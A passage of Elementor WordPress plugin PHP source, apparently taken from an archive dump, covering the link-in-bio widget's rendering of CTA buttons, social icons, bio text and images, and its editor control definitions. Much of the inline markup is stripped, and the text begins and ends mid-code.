WordPress.Security.EscapeOutput.OutputNotEscaped ?> />
settings['cta_links_corners'] ?? 'rounded'; $ctas_props_show_border = $this->settings['cta_links_show_border'] ?? false; $ctas_props_type = $this->settings['cta_links_type'] ?? 'button'; $ctas_value_initial = $this->settings['cta_link'] ?? []; /** * $this->settings['cta_link'] if empty returns a sub-array with all empty values * Check for this here to avoid rendering container when empty */ $ctas_value = $this->clean_array( $ctas_value_initial ); $has_ctas = ! empty( $ctas_value ); if ( ! $has_ctas ) { return; } $this->widget->add_render_attribute( 'ctas', [ 'class' => 'e-link-in-bio__ctas has-type-' . $ctas_props_type, ] ); ?>
widget->get_render_attribute_string( 'ctas' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> $cta ) { $formatted_link = $this->get_formatted_link_based_on_type_for_cta( $cta ); $cta_image = $cta['cta_link_image'] ?? []; $cta_has_image = ! empty( $cta_image ) && ( ! empty( $cta_image['url'] || ! empty( $cta_image['id'] ) ) ) && 'button' === $ctas_props_type; // Manage Link class variations $ctas_classnames = 'e-link-in-bio__cta is-type-' . $ctas_props_type; if ( 'button' === $ctas_props_type && $ctas_props_show_border ) { $ctas_classnames .= ' has-border'; } if ( $cta_has_image ) { $ctas_classnames .= ' has-image'; } if ( 'button' === $ctas_props_type ) { $ctas_classnames .= ' has-corners-' . $ctas_props_corners; } // Manage Link attributes $url_attrs = [ 'class' => $ctas_classnames, 'href' => esc_url( $formatted_link ), ]; if ( Social_Network_Provider::FILE_DOWNLOAD === $cta['cta_link_type'] || Social_Network_Provider::VCF === $cta['cta_link_type'] ) { $url_attrs['download'] = 'download'; } $cta_url = $cta['cta_link_url']; if ( Social_Network_Provider::WAZE == $cta['cta_link_type'] ) { $cta_url = $cta['cta_link_location']; } $url_combined_attrs = $this->get_link_attributes( $cta_url, $url_attrs ); foreach ( $url_combined_attrs as $attr_key => $attr_value ) { $this->widget->add_render_attribute( 'cta-' . $key, [ $attr_key => $attr_value, ] ); } ?> widget->get_render_attribute_string( 'cta-' . $key ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> 'e-link-in-bio__cta-image-element', ] ); } else { $this->widget->add_render_attribute( 'cta-link-image' . $key, [ 'alt' => '', 'class' => 'e-link-in-bio__cta-image-element', 'src' => esc_url( $cta_image['url'] ), ] ); ?> widget->get_render_attribute_string( 'cta-link-image' . $key ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> />
settings['icons_border_show_border'] ?? false; $icons_props_size = $this->settings['icons_size'] ?? 'small'; $icons_value = $this->settings['icon'] ?? []; $has_icons = ! empty( $icons_value ); if ( ! $has_icons ) { return; } $this->widget->add_render_attribute( 'icons', [ 'class' => 'e-link-in-bio__icons has-size-' . $icons_props_size, ] ); ?>
widget->get_render_attribute_string( 'icons' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> $icon ) { $formatted_link = $this->get_formatted_link_for_icon( $icon ); $icon_class_names = 'e-link-in-bio__icon is-size-' . $icons_props_size; if ( $icons_props_show_border ) { $icon_class_names .= ' has-border'; } $this->widget->add_render_attribute( 'icon-' . $key, [ 'class' => $icon_class_names, ] ); // Manage Link attributes $url_attrs = [ 'aria-label' => esc_attr( $icon['icon_platform'] ), 'class' => 'e-link-in-bio__icon-link', 'href' => esc_url( $formatted_link ), ]; $icon_url = $icon['icon_url']; if ( Social_Network_Provider::WAZE == $icon['icon_platform'] ) { $icon_url = $icon['icon_location']; } $url_combined_attrs = $this->get_link_attributes( $icon_url, $url_attrs ); foreach ( $url_combined_attrs as $attr_key => $attr_value ) { $this->widget->add_render_attribute( 'icon-link-' . $key, [ $attr_key => $attr_value, ] ); } ?>
settings['bio_heading_tag'] ?? 'h2'; $bio_heading_value = $this->settings['bio_heading'] ?? ''; $bio_title_props_tag = $this->settings['bio_title_tag'] ?? 'h2'; $bio_title_value = $this->settings['bio_title'] ?? ''; if ( 'top' === $this->widget->get_description_position() ) { $bio_about_heading_props_tag = $this->settings['bio_about_tag'] ?? 'h3'; $bio_about_heading_value = $this->settings['bio_about'] ?? ''; $bio_description_value = $this->settings['bio_description'] ?? ''; } $has_bio_about_heading = ! empty( $bio_about_heading_value ); $has_bio_description = ! empty( $bio_description_value ); $has_bio_heading = ! empty( $bio_heading_value ); $has_bio_title = ! empty( $bio_title_value ); if ( $has_bio_heading || $has_bio_title || $has_bio_about_heading || $has_bio_description ) { ?> widget->get_description_position() ) { return; } $bio_about_heading_props_tag = $this->settings['bio_about_tag'] ?? 'h3'; $bio_about_heading_value = $this->settings['bio_about'] ?? ''; $bio_description_value = $this->settings['bio_description'] ?? ''; $has_bio_description = ! empty( $bio_description_value ); $has_bio_about_heading = ! empty( $bio_about_heading_value ); if ( $has_bio_about_heading || $has_bio_description ) { ?> [ 'props' => [], 'should_render' => false, 'value' => $this->settings['identity_image_cover'] ?? [], ], 'primary_image' => [ 'props' => [], 'should_render' => false, 'value' => $this->settings['identity_image'] ?? [], ], ]; $output_images['primary_image']['should_render'] = ! empty( $output_images['primary_image']['value'] ) && ( ! empty( $output_images['primary_image']['value']['url'] || ! empty( $output_images['primary_image']['value']['id'] ) ) ); $output_images['secondary_image']['should_render'] = ! empty( $output_images['secondary_image']['value'] ) && ( ! empty( $output_images['secondary_image']['value']['url'] || ! empty( $output_images['secondary_image']['value']['id'] ) ) ); if ( ! $output_images['primary_image']['should_render'] && ! $output_images['secondary_image']['should_render'] ) { return; } $output_images = $this->set_primary_image_properties( $output_images ); $output_images = $this->set_secondary_image_properties( $output_images ); ?> settings['advanced_layout_full_screen_height'] ?? ''; $layout_props_full_height_controls = $this->settings['advanced_layout_full_screen_height_controls'] ?? ''; $layout_props_full_width = $this->settings['advanced_layout_full_width_custom'] ?? ''; $layout_props_show_border = $this->settings['background_show_border'] ?? ''; $custom_classes = $this->settings['advanced_custom_css_classes'] ?? ''; $layout_classnames = 'e-link-in-bio e-' . $this->widget->get_name(); if ( 'yes' === $layout_props_show_border ) { $layout_classnames .= ' has-border'; } if ( 'yes' === $layout_props_full_width ) { $layout_classnames .= ' is-full-width'; } if ( 'yes' === $layout_props_full_height ) { $layout_classnames .= ' is-full-height'; } if ( ! empty( $layout_props_full_height_controls ) ) { foreach ( $layout_props_full_height_controls as $breakpoint ) { $layout_classnames .= ' is-full-height-' . $breakpoint; } } if ( $custom_classes ) { $layout_classnames .= ' ' . $custom_classes; } $attrs = [ 'class' => $layout_classnames, ]; if ( ! empty( $this->settings['advanced_custom_css_id'] ) ) { $attrs['id'] = $this->settings['advanced_custom_css_id']; } $this->widget->add_render_attribute( 'layout', $attrs ); } private function set_primary_image_properties( array $output_images ): array { if ( $output_images['primary_image']['should_render'] ) { $output_images['primary_image']['props']['shape'] = $this->settings['identity_image_shape'] ?? 'circle'; $output_images['primary_image']['props']['style'] = $this->settings['identity_image_style'] ?? 'profile'; $output_images['primary_image']['props']['show_border'] = $this->settings['identity_image_show_border'] ?? false; $output_images['primary_image']['props']['show_bottom_border'] = $this->settings['identity_image_bottom_show_border'] ?? false; } return $output_images; } private function set_secondary_image_properties( array $output_images ): array { if ( $output_images['secondary_image']['should_render'] ) { $output_images['secondary_image']['props']['style'] = 'cover'; $output_images['secondary_image']['props']['show_bottom_border'] = $this->settings['identity_image_bottom_show_border'] ?? false; if ( ! empty( $this->settings['identity_section_style_cover_divider_bottom'] ) ) { $output_images['secondary_image']['props']['has_shape_divider'] = true; // Remove border if a shaped divider is applied $output_images['secondary_image']['props']['show_bottom_border'] = false; } $output_images['primary_image']['props']['style'] = 'profile'; } return $output_images; } } modules/link-in-bio/widgets/link-in-bio.php000064400000001423147206604650014625 0ustar00experiments->is_feature_active( 'e_font_icon_svg' ) ) { return parent::get_style_depends(); } return [ 'elementor-icons-fa-solid', 'elementor-icons-fa-brands', 'elementor-icons-fa-regular' ]; } public static function get_configuration() { return [ 'content' => [ 'identity_section' => [ 'identity_image_style' => [ 'default' => 'profile', ], 'has_heading_text' => false, 'has_profile_image_controls' => false, ], 'bio_section' => [ 'title' => [ 'default' => esc_html__( 'Kitchen Chronicles', 'elementor' ), ], 'description' => [ 'default' => esc_html__( 'Join me on my journey to a healthier lifestyle', 'elementor' ), ], 'has_about_field' => false, ], 'icon_section' => [ 'has_text' => false, 'platform' => [ 'group-1' => [ Social_Network_Provider::EMAIL, Social_Network_Provider::TELEPHONE, Social_Network_Provider::MESSENGER, Social_Network_Provider::WAZE, Social_Network_Provider::WHATSAPP, ], 'limit' => 5, ], 'default' => [ [ 'icon_platform' => Social_Network_Provider::FACEBOOK, ], [ 'icon_platform' => Social_Network_Provider::INSTAGRAM, ], [ 'icon_platform' => Social_Network_Provider::TIKTOK, ], ], ], 'cta_section' => [ 'cta_max' => 0, 'cta_has_image' => false, 'cta_repeater_defaults' => [ [ 'cta_link_text' => esc_html__( 'Get Healthy', 'elementor' ), ], [ 'cta_link_text' => esc_html__( 'Top 10 Recipes', 'elementor' ), ], [ 'cta_link_text' => esc_html__( 'Meal Prep', 'elementor' ), ], [ 'cta_link_text' => esc_html__( 'Healthy Living Resources', 'elementor' ), ], ], ], 'image_links_section' => false, ], 'style' => [ 'identity_section' => [ 'has_profile_image_shape' => true, 'profile_image_max' => 115, 'cover_image_max' => 1000, ], 'cta_section' => [ 'has_dividers' => false, 'has_image_border' => false, 'has_link_type' => [ 'default' => 'button', ], 'has_corners' => [ 'default' => 'rounded', 'options' => [ 'round' => esc_html__( 'Round', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'sharp' => esc_html__( 'Sharp', 'elementor' ), ], ], 'has_padding' => true, 'has_background_control' => true, 'has_cta_control_text' => false, 'has_border_control' => [ 'prefix' => 'cta_links', 'show_border_args' => [ 'condition' => [ 'cta_links_type' => 'button', ], ], 'border_width_args' => [ 'condition' => [ 'cta_links_type' => 'button', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-ctas-border-width: {{SIZE}}{{UNIT}}', ], ], 'border_color_args' => [ 'condition' => [ 'cta_links_type' => 'button', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-ctas-border-color: {{VALUE}}', ], ], ], ], 'border_section' => [ 'field_options' => false, 'overlay_field_options' => false, ], 'image_links_section' => false, ], ]; } public function get_description_position() { return 'top'; } public function get_icon(): string { return 'eicon-site-identity'; } public function get_categories(): array { return [ 'link-in-bio' ]; } public function get_keywords(): array { return [ 'buttons', 'bio', 'widget', 'link in bio' ]; } public function get_image_position_options(): array { return [ '' => esc_html__( 'Default', 'elementor' ), 'center center' => esc_html__( 'Center Center', 'elementor' ), 'center left' => esc_html__( 'Center Left', 'elementor' ), 'center right' => esc_html__( 'Center Right', 'elementor' ), 'top center' => esc_html__( 'Top Center', 'elementor' ), 'top left' => esc_html__( 'Top Left', 'elementor' ), 'top right' => esc_html__( 'Top Right', 'elementor' ), 'bottom center' => esc_html__( 'Bottom Center', 'elementor' ), 'bottom left' => esc_html__( 'Bottom Left', 'elementor' ), 'bottom right' => esc_html__( 'Bottom Right', 'elementor' ), ]; } protected function register_controls(): void { $this->add_content_tab(); $this->add_style_tab(); } protected function render(): void { $render_strategy = new Core_Render( $this ); $render_strategy->render(); } protected function add_image_links_controls() { $config = static::get_configuration(); if ( empty( $config['content']['image_links_section'] ) ) { return; } $this->start_controls_section( 'image_links_section', [ 'label' => esc_html__( 'Image Links', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( ! empty( $config['content']['image_links_section']['images_max'] ) ) { $this->add_control( 'image_links_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( __( 'Add up to %d Images', 'elementor' ), $config['content']['image_links_section']['images_max'] ), ] ); } $this->add_icons_per_row_control( 'image_links_per_row', [ '1' => '1', '2' => '2', '3' => '3', ], '2', esc_html__( 'Images Per Row', 'elementor' ), '--e-link-in-bio-image-links-columns', ); $repeater = new Repeater(); $repeater->add_control( 'image_links_image', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'label_block' => true, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); $repeater->add_control( 'image_links_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'autocomplete' => true, 'label_block' => true, 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), 'default' => [ 'is_external' => true, ], ], ); $this->add_control( 'image_links', [ 'type' => Controls_Manager::REPEATER, 'max_items' => $config['content']['image_links_section']['images_max'] ?? 0, 'fields' => $repeater->get_controls(), 'prevent_empty' => true, 'button_text' => esc_html__( 'Add item', 'elementor' ), 'default' => $config['content']['image_links_section']['images_repeater_defaults'] ?? [], ] ); $this->end_controls_section(); } protected function add_cta_controls() { $config = static::get_configuration(); if ( empty( $config['content']['cta_section'] ) ) { return; } $this->start_controls_section( 'cta_section', [ 'label' => esc_html__( 'CTA Link Buttons', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( ! empty( $config['content']['cta_section']['cta_max'] ) ) { $this->add_control( 'cta_section_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( __( 'Add up to %d CTA links', 'elementor' ), $config['content']['cta_section']['cta_max'] ), ] ); } $repeater = new Repeater(); $repeater->add_control( 'cta_link_text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'default' => esc_html__( 'CTA link', 'elementor' ), 'placeholder' => esc_html__( 'Enter link text', 'elementor' ), ], ); if ( $config['content']['cta_section']['cta_has_image'] ) { $repeater->add_control( 'cta_link_image', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'label_block' => true, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); } $repeater->add_control( 'cta_link_type', [ 'label' => esc_html__( 'Link Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'groups' => [ [ 'label' => '', 'options' => Social_Network_Provider::get_social_networks_text( [ Social_Network_Provider::URL, Social_Network_Provider::FILE_DOWNLOAD, ] ), ], [ 'label' => ' --', 'options' => Social_Network_Provider::get_social_networks_text( [ Social_Network_Provider::EMAIL, Social_Network_Provider::TELEPHONE, Social_Network_Provider::MESSENGER, Social_Network_Provider::WAZE, Social_Network_Provider::WHATSAPP, ] ), ], ], 'default' => Social_Network_Provider::URL, ], ); $repeater->add_control( 'cta_link_file', [ 'label' => esc_html__( 'Choose File', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'label_block' => true, 'media_type' => [ 'application/pdf' ], 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::FILE_DOWNLOAD, ], ], 'ai' => [ 'active' => false, ], ], ); $repeater->add_control( 'cta_link_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'autocomplete' => true, 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::URL, ], ], 'placeholder' => esc_html__( 'Enter your link', 'elementor' ), 'default' => [ 'is_external' => true, ], ], ); $repeater->add_control( 'cta_link_mail', [ 'label' => esc_html__( 'Mail', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::EMAIL, ], ], 'placeholder' => esc_html__( 'Enter your email', 'elementor' ), ], ); $repeater->add_control( 'cta_link_mail_subject', [ 'label' => esc_html__( 'Subject', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::EMAIL, ], ], 'placeholder' => esc_html__( 'Subject', 'elementor' ), ], ); $repeater->add_control( 'cta_link_mail_body', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::EMAIL, ], ], 'placeholder' => esc_html__( 'Message', 'elementor' ), ], ); $repeater->add_control( 'cta_link_number', [ 'label' => esc_html__( 'Number', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::TELEPHONE, Social_Network_Provider::WHATSAPP, ], ], 'placeholder' => esc_html__( 'Enter your number', 'elementor' ), ], ); $repeater->add_control( 'cta_link_location', [ 'label' => esc_html__( 'Location', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'default' => [ 'is_external' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::WAZE, ], ], 'placeholder' => esc_html__( 'Paste Waze link', 'elementor' ), ], ); $repeater->add_control( 'cta_link_username', [ 'label' => esc_html__( 'Username', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'cta_link_type' => [ Social_Network_Provider::MESSENGER, ], ], 'placeholder' => esc_html__( 'Enter your username', 'elementor' ), ], ); $this->add_control( 'cta_link', [ 'type' => Controls_Manager::REPEATER, 'max_items' => $config['content']['cta_section']['cta_max'] ?? 0, 'fields' => $repeater->get_controls(), 'title_field' => '{{{ cta_link_text }}}', 'button_text' => esc_html__( 'Add CTA Link', 'elementor' ), 'default' => $config['content']['cta_section']['cta_repeater_defaults'], ] ); $this->end_controls_section(); } protected function add_icons_controls(): void { $config = static::get_configuration(); $this->start_controls_section( 'icons_section', [ 'label' => esc_html__( 'Icons', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( $config['content']['icon_section']['platform']['limit'] ) { $this->add_control( 'custom_panel_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( __( 'Add up to %d icons', 'elementor' ), $config['content']['icon_section']['platform']['limit'] ), ] ); } $repeater = new Repeater(); if ( $config['content']['icon_section']['has_text'] ) { $repeater->add_control( 'icon_text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter icon text', 'elementor' ), ], ); } $repeater->add_control( 'icon_platform', [ 'label' => esc_html__( 'Platform', 'elementor' ), 'type' => Controls_Manager::SELECT, 'groups' => [ [ 'label' => '', 'options' => Social_Network_Provider::get_social_networks_text( $config['content']['icon_section']['platform']['group-1'] ), ], [ 'label' => ' --', 'options' => Social_Network_Provider::get_social_networks_text( [ Social_Network_Provider::FACEBOOK, Social_Network_Provider::INSTAGRAM, Social_Network_Provider::LINKEDIN, Social_Network_Provider::PINTEREST, Social_Network_Provider::TIKTOK, Social_Network_Provider::TWITTER, Social_Network_Provider::YOUTUBE, ] ), ], [ 'label' => ' --', 'options' => Social_Network_Provider::get_social_networks_text( [ Social_Network_Provider::APPLEMUSIC, Social_Network_Provider::BEHANCE, Social_Network_Provider::DRIBBBLE, Social_Network_Provider::SPOTIFY, Social_Network_Provider::SOUNDCLOUD, Social_Network_Provider::VIMEO, ] ), ], ], 'default' => Social_Network_Provider::FACEBOOK, ], ); $repeater->add_control( 'icon_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'autocomplete' => true, 'label_block' => true, 'placeholder' => esc_html__( 'Enter your link', 'elementor' ), 'default' => [ 'is_external' => true, ], 'condition' => [ 'icon_platform' => [ Social_Network_Provider::VIMEO, Social_Network_Provider::FACEBOOK, Social_Network_Provider::SOUNDCLOUD, Social_Network_Provider::SPOTIFY, Social_Network_Provider::INSTAGRAM, Social_Network_Provider::LINKEDIN, Social_Network_Provider::PINTEREST, Social_Network_Provider::TIKTOK, Social_Network_Provider::TWITTER, Social_Network_Provider::YOUTUBE, Social_Network_Provider::APPLEMUSIC, Social_Network_Provider::BEHANCE, Social_Network_Provider::DRIBBBLE, Social_Network_Provider::SPOTIFY, Social_Network_Provider::SOUNDCLOUD, Social_Network_Provider::URL, ], ], ], ); $repeater->add_control( 'icon_mail', [ 'label' => esc_html__( 'Email', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => esc_html__( 'Enter your email', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'condition' => [ 'icon_platform' => [ Social_Network_Provider::EMAIL, ], ], 'ai' => [ 'active' => false, ], ] ); $repeater->add_control( 'icon_mail_subject', [ 'label' => esc_html__( 'Subject', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => esc_html__( 'Subject', 'elementor' ), 'label_block' => true, 'condition' => [ 'icon_platform' => [ Social_Network_Provider::EMAIL, ], ], ] ); $repeater->add_control( 'icon_mail_body', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Message', 'elementor' ), 'label_block' => true, 'condition' => [ 'icon_platform' => [ Social_Network_Provider::EMAIL, ], ], ] ); $repeater->add_control( 'icon_number', [ 'label' => esc_html__( 'Number', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'placeholder' => esc_html__( '+', 'elementor' ), 'condition' => [ 'icon_platform' => [ Social_Network_Provider::TELEPHONE, Social_Network_Provider::WHATSAPP, ], ], 'ai' => [ 'active' => false, ], ], ); $repeater->add_control( 'icon_location', [ 'label' => esc_html__( 'Location', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'default' => [ 'is_external' => true, ], 'label_block' => true, 'placeholder' => esc_html__( 'Paste Waze link', 'elementor' ), 'condition' => [ 'icon_platform' => [ Social_Network_Provider::WAZE, ], ], 'ai' => [ 'active' => false, ], ], ); $repeater->add_control( 'icon_username', [ 'label' => esc_html__( 'Username', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'placeholder' => esc_html__( 'Enter your username', 'elementor' ), 'condition' => [ 'icon_platform' => [ Social_Network_Provider::MESSENGER, ], ], ], ); $this->add_control( 'icon', [ 'max_items' => $config['content']['icon_section']['platform']['limit'], 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'title_field' => $this->get_icon_title_field(), 'prevent_empty' => true, 'button_text' => esc_html__( 'Add Icon', 'elementor' ), 'default' => $config['content']['icon_section']['default'], ] ); $this->end_controls_section(); } protected function get_icon_title_field(): string { $platform_icons_js = json_encode( Social_Network_Provider::get_social_networks_icons() ); return << {{{ icon_platform }}} JS; } protected function add_style_tab(): void { $this->add_style_identity_controls(); $this->add_style_bio_controls(); $this->add_style_icons_controls(); $this->add_style_cta_section(); $this->add_style_image_links_controls(); $this->add_style_background_controls(); } protected function add_bio_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'bio_section', [ 'label' => esc_html__( 'Bio', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'bio_heading', [ 'label' => esc_html__( 'Heading', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Heading', 'elementor' ), 'default' => esc_html__( 'Sara Parker', 'elementor' ), ] ); $this->add_html_tag_control( 'bio_heading_tag', 'h2' ); $this->add_control( 'bio_title', [ 'label' => esc_html__( 'Title or Tagline', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Title', 'elementor' ), 'default' => $config['content']['bio_section']['title']['default'], ] ); $this->add_html_tag_control( 'bio_title_tag', 'h3' ); if ( $config['content']['bio_section']['has_about_field'] ) { $this->add_control( 'bio_about', [ 'label' => esc_html__( 'About Heading', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'About', 'elementor' ), 'default' => esc_html__( 'About Me', 'elementor' ), ] ); $this->add_html_tag_control( 'bio_about_tag', 'h3' ); } $this->add_control( 'bio_description', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Description', 'elementor' ), 'default' => $config['content']['bio_section']['description']['default'], ] ); $this->end_controls_section(); } protected function add_identity_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'identity_section', [ 'label' => esc_html__( 'Identity', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( $config['content']['identity_section']['has_profile_image_controls'] ) { $this->add_control( 'identity_heading_cover', [ 'label' => esc_html__( 'Cover', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'identity_image_cover', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); $this->add_responsive_control( 'identity_image_cover_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'desktop_default' => 'center center', 'tablet_default' => 'center center', 'mobile_default' => 'center center', 'options' => $this->get_image_position_options(), 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-cover-position: {{VALUE}}', ], 'condition' => [ 'identity_image_cover[url]!' => '', ], ] ); } if ( $config['content']['identity_section']['has_heading_text'] ) { $this->add_control( 'identity_heading', [ 'label' => $config['content']['identity_section']['has_heading_text'], 'type' => Controls_Manager::HEADING, ] ); } if ( $config['content']['identity_section']['identity_image_style'] ) { $this->add_control( 'identity_image_style', [ 'label' => esc_html__( 'Image style', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $config['content']['identity_section']['identity_image_style']['default'], 'options' => [ 'profile' => esc_html__( 'Profile', 'elementor' ), 'cover' => esc_html__( 'Cover', 'elementor' ), ], ] ); } $this->add_control( 'identity_image', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); $this->add_responsive_control( 'identity_image_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'desktop_default' => 'center center', 'tablet_default' => 'center center', 'mobile_default' => 'center center', 'options' => $this->get_image_position_options(), 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-profile-position: {{VALUE}}', ], 'condition' => [ 'identity_image[url]!' => '', ], ] ); $this->end_controls_section(); } protected function add_style_image_links_controls(): void { $config = static::get_configuration(); if ( empty( $config['style']['image_links_section'] ) ) { return; } $this->start_controls_section( 'image_links_section_style', [ 'label' => esc_html__( 'Image Links', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'image_links_height', [ 'label' => esc_html__( 'Image Height', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 300, 'step' => 1, ], ], 'default' => [ 'unit' => 'px', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-image-links-height: {{SIZE}}{{UNIT}}', ], ] ); if ( $config['style']['image_links_section']['has_border_control'] ) { $this->add_borders_control( $config['style']['image_links_section']['has_border_control']['prefix'], $config['style']['image_links_section']['has_border_control']['show_border_args'], $config['style']['image_links_section']['has_border_control']['border_width_args'], $config['style']['image_links_section']['has_border_control']['border_color_args'], ); } $this->end_controls_section(); } protected function add_style_cta_section(): void { $config = static::get_configuration(); if ( empty( $config['style']['cta_section'] ) ) { return; } $this->start_controls_section( 'cta_links_section_style', [ 'label' => esc_html__( 'CTA Link Buttons', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['style']['cta_section']['has_cta_control_text'] ) { $this->add_control( 'cta_links_heading', [ 'label' => $config['style']['cta_section']['has_cta_control_text'], 'type' => Controls_Manager::HEADING, ] ); } if ( $config['style']['cta_section']['has_link_type'] ) { $this->add_control( 'cta_links_type', [ 'label' => esc_html__( 'Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $config['style']['cta_section']['has_link_type']['default'], 'options' => [ 'button' => esc_html__( 'Button', 'elementor' ), 'link' => esc_html__( 'Link', 'elementor' ), ], ] ); } $this->add_control( 'cta_links_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-ctas-text-color: {{VALUE}}', '{{WRAPPER}} .e-link-in-bio__cta.is-type-link' => '--e-link-in-bio-ctas-text-color: {{VALUE}}', ], ] ); $condition_if_has_links = []; if ( $config['style']['cta_section']['has_link_type'] ) { $condition_if_has_links = [ 'cta_links_type' => 'button', ]; } if ( $config['style']['cta_section']['has_background_control'] ) { $this->add_control( 'cta_links_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => $condition_if_has_links, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-ctas-background-color: {{VALUE}}', ], ] ); } $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'cta_links_typography', 'selector' => '{{WRAPPER}} .e-link-in-bio__cta', ] ); if ( $config['style']['cta_section']['has_border_control'] ) { $this->add_borders_control( $config['style']['cta_section']['has_border_control']['prefix'], $config['style']['cta_section']['has_border_control']['show_border_args'], $config['style']['cta_section']['has_border_control']['border_width_args'], 